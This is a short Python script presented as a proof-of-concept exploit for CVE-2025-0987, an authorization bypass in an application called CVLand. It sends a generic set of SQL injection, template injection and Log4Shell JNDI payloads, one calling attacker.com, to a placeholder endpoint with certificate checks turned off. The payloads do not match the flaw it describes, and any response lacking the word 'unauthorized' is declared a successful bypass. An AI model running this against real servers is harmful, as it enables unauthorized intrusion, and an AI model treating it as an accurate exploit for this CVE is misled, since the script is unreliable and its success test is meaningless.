CVE-2025-0987 CVLand参数注入导致授权绕过漏洞

# CVE-2025-0987 PoC - CVLand Authorization Bypass via Parameter Injection # Description: The vulnerability allows attackers to bypass authorization checks # by manipulating user-controlled keys in CVLand application parameters import requests import json TARGET_URL = "https://target-cvland-server.com" CVE_ID = "CVE-2025-0987" def exploit_authorization_bypass(): """ Exploit for Authorization Bypass Through User-Controlled Key in CVLand via Parameter Injection """ print(f"[*] Exploiting {CVE_ID} - CVLand Parameter Injection") # Step 1: Identify the vulnerable endpoint and parameter # The application uses user-controlled keys that can be manipulated vulnerable_params = { 'user_id': 'ATTACKER_CONTROLLED_VALUE', 'auth_token': 'manipulated_token', 'access_key': 'bypass_key_injection' } # Step 2: Send malicious request with parameter injection # Inject authorization bypass payload into user-controlled parameters inject_payloads = [ "' OR '1'='1", "admin'--", "{{constructor}}", "${jndi:ldap://attacker.com/exploit}" ] for payload in inject_payloads: print(f"[*] Testing payload: {payload}") exploit_data = { 'key': payload, 'action': 'view', 'resource_id': '1' } try: response = requests.post( f"{TARGET_URL}/api/endpoint", data=exploit_data, headers={ 'User-Agent': f'Mozilla/5.0 - {CVE_ID} Exploit', 'Content-Type': 'application/x-www-form-urlencoded' }, timeout=10, verify=False ) # Check for successful bypass indicators if response.status_code == 200 and 'unauthorized' not in response.text.lower(): print(f"[!] Potential authorization bypass detected!") print(f"[+] Response: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print(f"[*] CVE-2025-0987 CVLand Authorization Bypass Exploit") result = exploit_authorization_bypass() if result: print("[+] Exploit successful - Authorization bypass achieved") else: print("[-] Exploit may have failed - Verify manually")